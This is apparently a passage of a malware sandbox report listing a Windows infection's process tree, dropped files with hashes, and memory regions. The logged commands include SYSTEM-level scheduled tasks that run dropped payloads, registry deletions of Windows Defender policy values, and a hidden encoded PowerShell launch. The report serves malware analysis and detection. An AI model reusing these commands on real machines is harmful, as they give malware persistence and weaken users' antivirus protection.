                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                            schtasks /run /I /tn "glnTuyTwp"
                                                                                                            2⤵
                                                                                                              PID:2336
                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                              schtasks /DELETE /F /TN "glnTuyTwp"
                                                                                                              2⤵
                                                                                                                PID:4516
                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                schtasks /CREATE /TN "yTojJpVlyxZWLIphK" /SC once /ST 03:28:49 /RU "SYSTEM" /TR "\"C:\Windows\Temp\dZAkCesbbUKSZxso\sOClMsGvOFCDJVp\trgakQC.exe\" 8a /site_id 525403 /S" /V1 /F
                                                                                                                2⤵
                                                                                                                • Drops file in Windows directory
                                                                                                                • Creates scheduled task(s)
                                                                                                                PID:1136
                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                schtasks /run /I /tn "yTojJpVlyxZWLIphK"
                                                                                                                2⤵
                                                                                                                  PID:1064
                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                1⤵
                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                PID:392
                                                                                                                • C:\Windows\system32\gpupdate.exe
                                                                                                                  "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                  2⤵
                                                                                                                    PID:4308
                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                  1⤵
                                                                                                                    PID:3508
                                                                                                                  • C:\Windows\system32\gpscript.exe
                                                                                                                    gpscript.exe /RefreshSystemParam
                                                                                                                    1⤵
                                                                                                                      PID:4456
                                                                                                                    • C:\Windows\Temp\dZAkCesbbUKSZxso\sOClMsGvOFCDJVp\trgakQC.exe
                                                                                                                      C:\Windows\Temp\dZAkCesbbUKSZxso\sOClMsGvOFCDJVp\trgakQC.exe 8a /site_id 525403 /S
                                                                                                                      1⤵
                                                                                                                      • Executes dropped EXE
                                                                                                                      • Checks computer location settings
                                                                                                                      • Drops Chrome extension
                                                                                                                      • Drops desktop.ini file(s)
                                                                                                                      • Drops file in System32 directory
                                                                                                                      • Drops file in Program Files directory
                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                      PID:4476
                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                        schtasks /DELETE /F /TN "bcmBoHFysFBidtSprQ"
                                                                                                                        2⤵
                                                                                                                          PID:680
                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                          cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                          2⤵
                                                                                                                            PID:208
                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                              REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                              3⤵
                                                                                                                                PID:4912
                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                              cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                              2⤵
                                                                                                                                PID:1656
                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                  REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                                  3⤵
                                                                                                                                    PID:3912
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\xPPqLUFFU\Ktmxdt.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "mvThVpxzbhgVRbG" /V1 /F
                                                                                                                                  2⤵
                                                                                                                                  • Drops file in Windows directory
                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                  PID:3540
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /CREATE /TN "mvThVpxzbhgVRbG2" /F /xml "C:\Program Files (x86)\xPPqLUFFU\rAaDOqI.xml" /RU "SYSTEM"
                                                                                                                                  2⤵
                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                  PID:3500
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /END /TN "mvThVpxzbhgVRbG"
                                                                                                                                  2⤵
                                                                                                                                    PID:2264
                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                    schtasks /DELETE /F /TN "mvThVpxzbhgVRbG"
                                                                                                                                    2⤵
                                                                                                                                      PID:5076
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "xJPCobCplaVVxr" /F /xml "C:\Program Files (x86)\nNTpTrwDNnPU2\zsQaYbG.xml" /RU "SYSTEM"
                                                                                                                                      2⤵
                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                      PID:4284
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "xtMHrquZTnBqG2" /F /xml "C:\ProgramData\STCeEXnoOCFBHvVB\APZxINb.xml" /RU "SYSTEM"
                                                                                                                                      2⤵
                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                      PID:1080
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "wJXbRFPdEfkDfWLvy2" /F /xml "C:\Program Files (x86)\cdLvKHOLDZopLOAbkDR\kvrDzMF.xml" /RU "SYSTEM"
                                                                                                                                      2⤵
                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                      PID:2848
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "whexYRdIIbHjcPpcGRQ2" /F /xml "C:\Program Files (x86)\LJVhNoouCIYvC\vctPIme.xml" /RU "SYSTEM"
                                                                                                                                      2⤵
                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                      PID:4528
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "diAnMdtAazTJxxqKi" /SC once /ST 01:06:59 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\dZAkCesbbUKSZxso\xYqWQykp\MllEBtr.dll\",#1 /site_id 525403" /V1 /F
                                                                                                                                      2⤵
                                                                                                                                      • Drops file in Windows directory
                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                      PID:2068
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /run /I /tn "diAnMdtAazTJxxqKi"
                                                                                                                                      2⤵
                                                                                                                                        PID:3888
                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                        cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
                                                                                                                                        2⤵
                                                                                                                                          PID:3100
                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                            REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
                                                                                                                                            3⤵
                                                                                                                                              PID:764
                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                            cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
                                                                                                                                            2⤵
                                                                                                                                              PID:3880
                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
                                                                                                                                                3⤵
                                                                                                                                                  PID:3188
                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                schtasks /DELETE /F /TN "yTojJpVlyxZWLIphK"
                                                                                                                                                2⤵
                                                                                                                                                  PID:2712
                                                                                                                                              • C:\Windows\system32\rundll32.EXE
                                                                                                                                                C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\dZAkCesbbUKSZxso\xYqWQykp\MllEBtr.dll",#1 /site_id 525403
                                                                                                                                                1⤵
                                                                                                                                                  PID:4264
                                                                                                                                                  • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                    C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\dZAkCesbbUKSZxso\xYqWQykp\MllEBtr.dll",#1 /site_id 525403
                                                                                                                                                    2⤵
                                                                                                                                                    • Blocklisted process makes network request
                                                                                                                                                    • Checks BIOS information in registry
                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                    • Enumerates system info in registry
                                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                                    PID:400
                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                      schtasks /DELETE /F /TN "diAnMdtAazTJxxqKi"
                                                                                                                                                      3⤵
                                                                                                                                                        PID:1644

                                                                                                                                                  Network

                                                                                                                                                  MITRE ATT&CK Enterprise v6

                                                                                                                                                  Replay Monitor

                                                                                                                                                  Loading Replay Monitor...

                                                                                                                                                  Downloads

                                                                                                                                                  • C:\Program Files (x86)\LJVhNoouCIYvC\vctPIme.xml

                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    c12ec081b819071b8a213712b3bc5e1e

                                                                                                                                                    SHA1

                                                                                                                                                    a631962ceec8772c3a62108d710c392cd9dafb1c

                                                                                                                                                    SHA256

                                                                                                                                                    961f180d5ce10ed9e004aaf722d4ba3e48cd7b10e0ec0c3abbf253d0b7ebfa9f

                                                                                                                                                    SHA512

                                                                                                                                                    12d8a7e050a4f08c5ff28d492437e0f251a5922c7126384550d6e61e5a2e793de45880f674d1f5b7b8d41feacbb4a3367d51332d10478674fd54b8af9ff234c6

                                                                                                                                                  • C:\Program Files (x86)\cdLvKHOLDZopLOAbkDR\kvrDzMF.xml

                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    d2eac8a3210e973809d7286969861243

                                                                                                                                                    SHA1

                                                                                                                                                    eece848c48e6473c7e8682b49e281b3f621f6d19

                                                                                                                                                    SHA256

                                                                                                                                                    8d5d62b364ec9898a81f2283e04c99251b9699ca455459ae8152047c86dc74ea

                                                                                                                                                    SHA512

                                                                                                                                                    a9563974a33e87e3677f5e157d516447d0f0b2211bfdfd90e830e13a694f6f4b87ffeaa1a3738e44969b34f7b43e22d3a1df34553694038f13d71cec5ee770cf

                                                                                                                                                  • C:\Program Files (x86)\nNTpTrwDNnPU2\zsQaYbG.xml

                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    8f474e1c950ecd8dfbefde2456991411

                                                                                                                                                    SHA1

                                                                                                                                                    37c90b95e4470e8b3c5a91349caaf027b040f2f8

                                                                                                                                                    SHA256

                                                                                                                                                    4554765d334b50faff27bef427cf02b955f1e771908c8eccfd0925c81cb0f354

                                                                                                                                                    SHA512

                                                                                                                                                    41d74d1fdcce90ca052ce98dfb1a51481af1acb498f837c5d4e67de3e109b90a9d686cebb910ae7423c50426b2c3c2b132697a24075a05c8b07ecaefabc577b7

                                                                                                                                                  • C:\Program Files (x86)\xPPqLUFFU\rAaDOqI.xml

                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    35a52a3bf5ccd7d5e50dfb1295103730

                                                                                                                                                    SHA1

                                                                                                                                                    2f23ab6e8586051e6172a0f857ec922e0f6d9efc

                                                                                                                                                    SHA256

                                                                                                                                                    6821070dee768191d4c9e8c5b7dcf8bca0dbd66e9aa07e9a91f1eb0b46ff1b60

                                                                                                                                                    SHA512

                                                                                                                                                    2e5e0a3b966f57b8308da1eee125c03178af797e2b518b56fad144f0be06f1cd1c29106a6f07d2f0a4e66a9f1231b8cbd9baf522b7891abeeaed8c9e67452da1

                                                                                                                                                  • C:\ProgramData\STCeEXnoOCFBHvVB\APZxINb.xml

                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    3d64c0490a052d93462f7cef7658525e

                                                                                                                                                    SHA1

                                                                                                                                                    17f385a59298ed657c5e5d82a180760e39e37788

                                                                                                                                                    SHA256

                                                                                                                                                    171697366d84df82abe148f0a773ba53b38d66aeefe9b312e218b4987c8989ca

                                                                                                                                                    SHA512

                                                                                                                                                    65ea956bbcea0cb7c003049d9d73970f00463dbb93f399e9aea9175ca8740047ae5acd31b8d34f879783ed021328e6da773756d457091f44490803baedb70f31

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log

                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    6cf293cb4d80be23433eecf74ddb5503

                                                                                                                                                    SHA1

                                                                                                                                                    24fe4752df102c2ef492954d6b046cb5512ad408

                                                                                                                                                    SHA256

                                                                                                                                                    b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

                                                                                                                                                    SHA512

                                                                                                                                                    0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                    Filesize

                                                                                                                                                    64B

                                                                                                                                                    MD5

                                                                                                                                                    0ff7e1af4cc86e108eef582452b35523

                                                                                                                                                    SHA1

                                                                                                                                                    c2ccf2811d56c3a3a58dced2b07f95076c6b5b96

                                                                                                                                                    SHA256

                                                                                                                                                    62ed8ef2250f9f744852cb67df0286c80f94e26aed646989b76e5b78f2f1f0d0

                                                                                                                                                    SHA512

                                                                                                                                                    374675fd36cd8bc38acaec44d4cc855b85feece548d99616496d498e61e943fd695fec7c57550a58a32455e8b21b41bafa18cd1dadac69676fff1de1a56da937

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSDF78.tmp\Install.exe

                                                                                                                                                    Filesize

                                                                                                                                                    6.3MB

                                                                                                                                                    MD5

                                                                                                                                                    f2bb4b3b2fffdbbf137ebeaeeb879957

                                                                                                                                                    SHA1

                                                                                                                                                    b89a157e8f3b1c5e0ecc6940389d7bacdcd9349e

                                                                                                                                                    SHA256

                                                                                                                                                    4bfe9d552f9da4ea8baf5c8807ea891d866243c9a9e4805ea19f50e4da95f19e

                                                                                                                                                    SHA512

                                                                                                                                                    607784bd2704fb734b54c0f1b1562e91abdb97a787611d9c99a82568dd165c5a12f31c573abf9cd9182752bcb963b139f7287fdf9cfe8e12cee39237f1e54b50

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSDF78.tmp\Install.exe

                                                                                                                                                    Filesize

                                                                                                                                                    6.3MB

                                                                                                                                                    MD5

                                                                                                                                                    f2bb4b3b2fffdbbf137ebeaeeb879957

                                                                                                                                                    SHA1

                                                                                                                                                    b89a157e8f3b1c5e0ecc6940389d7bacdcd9349e

                                                                                                                                                    SHA256

                                                                                                                                                    4bfe9d552f9da4ea8baf5c8807ea891d866243c9a9e4805ea19f50e4da95f19e

                                                                                                                                                    SHA512

                                                                                                                                                    607784bd2704fb734b54c0f1b1562e91abdb97a787611d9c99a82568dd165c5a12f31c573abf9cd9182752bcb963b139f7287fdf9cfe8e12cee39237f1e54b50

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSE340.tmp\Install.exe

                                                                                                                                                    Filesize

                                                                                                                                                    6.9MB

                                                                                                                                                    MD5

                                                                                                                                                    227d32b4fe7b705457ab38d11e9afb43

                                                                                                                                                    SHA1

                                                                                                                                                    0819eeefa40132a16fc5805a8dbe3b3db62a0525

                                                                                                                                                    SHA256

                                                                                                                                                    1c83453a383db77945a2e1e445241f4e6b5efd435cc243ef51bf6782dd1a8ba5

                                                                                                                                                    SHA512

                                                                                                                                                    8a2c9e6ae450ac36e655f32f503baa33993c1a00bda6f027285448b6b9ade8c5c58e0e044a5c91e42ce9d27f2c6d8629a39a2a2037a11f057bea64c5cd9d2e08

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSE340.tmp\Install.exe

                                                                                                                                                    Filesize

                                                                                                                                                    6.9MB

                                                                                                                                                    MD5

                                                                                                                                                    227d32b4fe7b705457ab38d11e9afb43

                                                                                                                                                    SHA1

                                                                                                                                                    0819eeefa40132a16fc5805a8dbe3b3db62a0525

                                                                                                                                                    SHA256

                                                                                                                                                    1c83453a383db77945a2e1e445241f4e6b5efd435cc243ef51bf6782dd1a8ba5

                                                                                                                                                    SHA512

                                                                                                                                                    8a2c9e6ae450ac36e655f32f503baa33993c1a00bda6f027285448b6b9ade8c5c58e0e044a5c91e42ce9d27f2c6d8629a39a2a2037a11f057bea64c5cd9d2e08

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\pNGCAFJFsZdszXlNr\AFzekPlfQCDUbED\jYDQMrQ.exe

                                                                                                                                                    Filesize

                                                                                                                                                    6.9MB

                                                                                                                                                    MD5

                                                                                                                                                    227d32b4fe7b705457ab38d11e9afb43

                                                                                                                                                    SHA1

                                                                                                                                                    0819eeefa40132a16fc5805a8dbe3b3db62a0525

                                                                                                                                                    SHA256

                                                                                                                                                    1c83453a383db77945a2e1e445241f4e6b5efd435cc243ef51bf6782dd1a8ba5

                                                                                                                                                    SHA512

                                                                                                                                                    8a2c9e6ae450ac36e655f32f503baa33993c1a00bda6f027285448b6b9ade8c5c58e0e044a5c91e42ce9d27f2c6d8629a39a2a2037a11f057bea64c5cd9d2e08

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\pNGCAFJFsZdszXlNr\AFzekPlfQCDUbED\jYDQMrQ.exe

                                                                                                                                                    Filesize

                                                                                                                                                    6.9MB

                                                                                                                                                    MD5

                                                                                                                                                    227d32b4fe7b705457ab38d11e9afb43

                                                                                                                                                    SHA1

                                                                                                                                                    0819eeefa40132a16fc5805a8dbe3b3db62a0525

                                                                                                                                                    SHA256

                                                                                                                                                    1c83453a383db77945a2e1e445241f4e6b5efd435cc243ef51bf6782dd1a8ba5

                                                                                                                                                    SHA512

                                                                                                                                                    8a2c9e6ae450ac36e655f32f503baa33993c1a00bda6f027285448b6b9ade8c5c58e0e044a5c91e42ce9d27f2c6d8629a39a2a2037a11f057bea64c5cd9d2e08

                                                                                                                                                  • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                                                                                                                                                    Filesize

                                                                                                                                                    1KB

                                                                                                                                                    MD5

                                                                                                                                                    33b19d75aa77114216dbc23f43b195e3

                                                                                                                                                    SHA1

                                                                                                                                                    36a6c3975e619e0c5232aa4f5b7dc1fec9525535

                                                                                                                                                    SHA256

                                                                                                                                                    b23ced31b855e5a39c94afa1f9d55b023b8c40d4dc62143e0539c6916c12c9d2

                                                                                                                                                    SHA512

                                                                                                                                                    676fa2fd34878b75e5899197fe6826bb5604541aa468804bc9835bd3acabed2e6759878a8f1358955413818a51456816e90f149133828575a416c2a74fc7d821

                                                                                                                                                  • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                    Filesize

                                                                                                                                                    11KB

                                                                                                                                                    MD5

                                                                                                                                                    45969f090b3d83a45088ebf166dfd6e4

                                                                                                                                                    SHA1

                                                                                                                                                    b4854730a731aa807a547ce59ea77b4163ea2583

                                                                                                                                                    SHA256

                                                                                                                                                    347a6cdd420decbdcb34b8d9e08020addbfc8aadcc6d786cfa95addb4dff32c3

                                                                                                                                                    SHA512

                                                                                                                                                    5fe1ed00471e9577512623b9fa44542ee3ebdf5c9861da0eb698f9e50907a6d736155bdca4b677e570905817bd081972c098ba331545b49d5856e89ba725f83a

                                                                                                                                                  • C:\Windows\Temp\dZAkCesbbUKSZxso\sOClMsGvOFCDJVp\trgakQC.exe

                                                                                                                                                    Filesize

                                                                                                                                                    6.9MB

                                                                                                                                                    MD5

                                                                                                                                                    227d32b4fe7b705457ab38d11e9afb43

                                                                                                                                                    SHA1

                                                                                                                                                    0819eeefa40132a16fc5805a8dbe3b3db62a0525

                                                                                                                                                    SHA256

                                                                                                                                                    1c83453a383db77945a2e1e445241f4e6b5efd435cc243ef51bf6782dd1a8ba5

                                                                                                                                                    SHA512

                                                                                                                                                    8a2c9e6ae450ac36e655f32f503baa33993c1a00bda6f027285448b6b9ade8c5c58e0e044a5c91e42ce9d27f2c6d8629a39a2a2037a11f057bea64c5cd9d2e08

                                                                                                                                                  • C:\Windows\Temp\dZAkCesbbUKSZxso\sOClMsGvOFCDJVp\trgakQC.exe

                                                                                                                                                    Filesize

                                                                                                                                                    6.9MB

                                                                                                                                                    MD5

                                                                                                                                                    227d32b4fe7b705457ab38d11e9afb43

                                                                                                                                                    SHA1

                                                                                                                                                    0819eeefa40132a16fc5805a8dbe3b3db62a0525

                                                                                                                                                    SHA256

                                                                                                                                                    1c83453a383db77945a2e1e445241f4e6b5efd435cc243ef51bf6782dd1a8ba5

                                                                                                                                                    SHA512

                                                                                                                                                    8a2c9e6ae450ac36e655f32f503baa33993c1a00bda6f027285448b6b9ade8c5c58e0e044a5c91e42ce9d27f2c6d8629a39a2a2037a11f057bea64c5cd9d2e08

                                                                                                                                                  • C:\Windows\Temp\dZAkCesbbUKSZxso\xYqWQykp\MllEBtr.dll

                                                                                                                                                    Filesize

                                                                                                                                                    6.2MB

                                                                                                                                                    MD5

                                                                                                                                                    28bb482c5d839f494746a32742c9c1da

                                                                                                                                                    SHA1

                                                                                                                                                    f8fba62d31751ddf672988cc1d4a6d256658dfab

                                                                                                                                                    SHA256

                                                                                                                                                    4bf11f60bb02bd1c85a3be302d91633e5e631dd6cdc9f91c824c527b0b143e88

                                                                                                                                                    SHA512

                                                                                                                                                    5ef8c3f093e372ad3c1eb0140d6dfd29eb22eba0a98b275943e3b1745c5ebb4e5c501b531ecac1c951927f372e3df32b4f009de55bef8878f9384330e89602fe

                                                                                                                                                  • C:\Windows\Temp\dZAkCesbbUKSZxso\xYqWQykp\MllEBtr.dll

                                                                                                                                                    Filesize

                                                                                                                                                    6.2MB

                                                                                                                                                    MD5

                                                                                                                                                    28bb482c5d839f494746a32742c9c1da

                                                                                                                                                    SHA1

                                                                                                                                                    f8fba62d31751ddf672988cc1d4a6d256658dfab

                                                                                                                                                    SHA256

                                                                                                                                                    4bf11f60bb02bd1c85a3be302d91633e5e631dd6cdc9f91c824c527b0b143e88

                                                                                                                                                    SHA512

                                                                                                                                                    5ef8c3f093e372ad3c1eb0140d6dfd29eb22eba0a98b275943e3b1745c5ebb4e5c501b531ecac1c951927f372e3df32b4f009de55bef8878f9384330e89602fe

                                                                                                                                                  • C:\Windows\system32\GroupPolicy\Machine\Registry.pol

                                                                                                                                                    Filesize

                                                                                                                                                    5KB

                                                                                                                                                    MD5

                                                                                                                                                    c468b7dc56a4768275541f69c10a07ec

                                                                                                                                                    SHA1

                                                                                                                                                    1b9f3104ffee245cf65c5f54dd9fea50ba0cafd0

                                                                                                                                                    SHA256

                                                                                                                                                    89589df5f96a1fe4cd89dd463090e3efd58ac17f5bf5a064c67479ab198bcd12

                                                                                                                                                    SHA512

                                                                                                                                                    5c642b5976bbf97a2ba2f0949b338c9b65ab8bb0cc858ea2eb7ac16c4390d1c52f009e820e251660573b5210ae63592a16b9e6b401e876a530766f14b30ae64a

                                                                                                                                                  • C:\Windows\system32\GroupPolicy\gpt.ini

                                                                                                                                                    Filesize

                                                                                                                                                    268B

                                                                                                                                                    MD5

                                                                                                                                                    a62ce44a33f1c05fc2d340ea0ca118a4

                                                                                                                                                    SHA1

                                                                                                                                                    1f03eb4716015528f3de7f7674532c1345b2717d

                                                                                                                                                    SHA256

                                                                                                                                                    9f2cd4acf23d565bc8498c989fccccf59fd207ef8925111dc63e78649735404a

                                                                                                                                                    SHA512

                                                                                                                                                    9d9a4da2df0550afdb7b80be22c6f4ef7da5a52cc2bb4831b8ff6f30f0ee9eac8960f61cdd7cfe0b1b6534a0f9e738f7eb8ea3839d2d92abeb81660de76e7732

                                                                                                                                                  • memory/392-219-0x00007FFB61D00000-0x00007FFB627C1000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    10.8MB

                                                                                                                                                  • memory/400-245-0x00000000016D0000-0x00000000020CC000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    10.0MB

                                                                                                                                                  • memory/2360-151-0x00000227C9560000-0x00000227C9582000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    136KB

                                                                                                                                                  • memory/2360-153-0x00007FFB62360000-0x00007FFB62E21000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    10.8MB

                                                                                                                                                  • memory/2620-162-0x0000000003AB0000-0x0000000003AE6000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    216KB

                                                                                                                                                  • memory/2620-167-0x0000000005070000-0x000000000508E000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    120KB

                                                                                                                                                  • memory/2620-163-0x00000000041A0000-0x00000000047C8000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    6.2MB

                                                                                                                                                  • memory/2620-164-0x00000000040A0000-0x00000000040C2000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    136KB

                                                                                                                                                  • memory/2620-165-0x0000000004980000-0x00000000049E6000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    408KB

                                                                                                                                                  • memory/2620-166-0x0000000004A60000-0x0000000004AC6000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    408KB

                                                                                                                                                  • memory/4432-158-0x0000000010000000-0x00000000109FC000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    10.0MB

                                                                                                                                                  • memory/4476-227-0x00000000036F0000-0x0000000003775000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    532KB

                                                                                                                                                  • memory/4476-241-0x0000000003E70000-0x0000000003EEA000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    488KB

                                                                                                                                                  • memory/4476-231-0x0000000003E00000-0x0000000003E61000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    388KB

                                                                                                                                                  • memory/4476-248-0x0000000004730000-0x00000000047EC000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    752KB

                                                                                                                                                  • memory/5040-138-0x0000000010000000-0x00000000109FC000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    10.0MB